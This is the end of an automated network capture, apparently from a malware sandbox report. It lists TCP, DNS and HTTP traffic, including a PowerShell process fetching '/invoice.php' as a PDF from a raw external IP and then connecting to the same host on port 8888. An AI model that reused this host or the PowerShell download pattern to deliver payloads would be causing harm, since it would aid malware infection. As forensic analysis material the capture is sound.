Jan 11, 2025 08:29:59.792083979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.792098045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792120934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.792283058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792298079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792315006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792324066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.792359114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.792408943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792506933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792521954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792546988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.792619944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792634964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.792660952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.821369886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.821394920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.821413994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.821449995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.821470976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.821477890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.821487904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.821505070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.821522951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.821530104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.821578979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.844651937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.844671011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.844688892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.844767094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.844774008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.844789982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.844806910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.844825983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.844945908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.844945908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.844960928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.844984055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845004082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845007896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845021963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845046997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845232964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845248938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845263958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845279932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845280886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845310926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845408916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845424891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845442057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845458031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845460892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845474958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845479012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845490932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845509052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845514059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845561028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845666885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845762968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845779896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845796108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845803976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845813036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845828056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845841885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.845843077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.845870972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.877362013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877379894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877403975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877420902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877437115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877454996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877463102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.877521992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.877548933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877564907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877592087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.877635956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877654076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877679110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.877733946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877749920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877764940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877772093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.877813101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.877883911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877899885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877917051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.877943039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878098011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878113985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878130913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878139973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878158092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878177881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878237009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878278971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878310919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878326893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878341913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878365040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878539085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878555059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878571033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878580093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878613949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878691912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878706932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878724098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878741026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878745079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878758907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878773928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878782988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878792048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878810883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.878822088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.878845930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879013062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879163980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879179001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879193068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879210949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879210949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879230976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879236937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879247904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879271030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879275084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879291058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879307032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879319906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879338026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879353046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879589081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879606009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879622936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879632950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879653931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879664898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879669905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879688978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879703999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879719019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879729986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879740000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.879766941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.879784107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.880104065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882289886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882307053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882323027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882332087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.882361889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.882740974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882778883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882795095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882817030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.882863045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882888079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882903099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.882906914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.882941961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.883038044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883060932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883076906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883091927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883100033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.883133888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.883265018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883281946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883296967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883331060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883335114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.883352995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883372068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883373022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.883388996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883404016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.883407116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.883444071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.893296957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.910145998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.910211086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.910228014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.910356045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.910387993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.910403967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.910420895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.910433054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.910438061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.910464048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.933357000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933387041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933399916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933419943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.933430910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933541059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933557034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933573961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933590889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.933603048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.933621883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.933723927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933742046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933782101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.933789968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933814049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933855057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.933979988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.933995008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934011936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934026957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934031963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934043884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934060097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934068918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934103012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934220076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934236050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934278011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934349060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934364080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934380054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934392929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934401035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934410095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934426069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934442043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934443951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934458971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934467077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934504986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934696913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934712887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934729099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934742928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.934768915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.934798002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.966180086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966207027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966226101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966258049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966273069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.966278076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966348886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.966383934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966403008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966428995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.966432095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966449022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966480017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966483116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.966499090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966516018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966525078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:29:59.966532946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:29:59.966552973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:00.009346962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:00.144700050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:00.152604103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:00.574105978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:01.104190111 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:01.109173059 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 08:30:01.109272003 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:01.109426975 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:01.114964962 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 08:30:01.898952961 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 08:30:01.946496964 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 08:30:02.132606983 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:30:08.849710941 CET	61344	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:30:08.849710941 CET	192.168.2.5	1.1.1.1	0xda53	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:30:08.856971979 CET	1.1.1.1	192.168.2.5	0xda53	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:30:09.568811893 CET	1.1.1.1	192.168.2.5	0xa37a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:30:09.568811893 CET	1.1.1.1	192.168.2.5	0xa37a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:29:58.423777103 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:29:59.214392900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:29:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:29:59.214426994 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
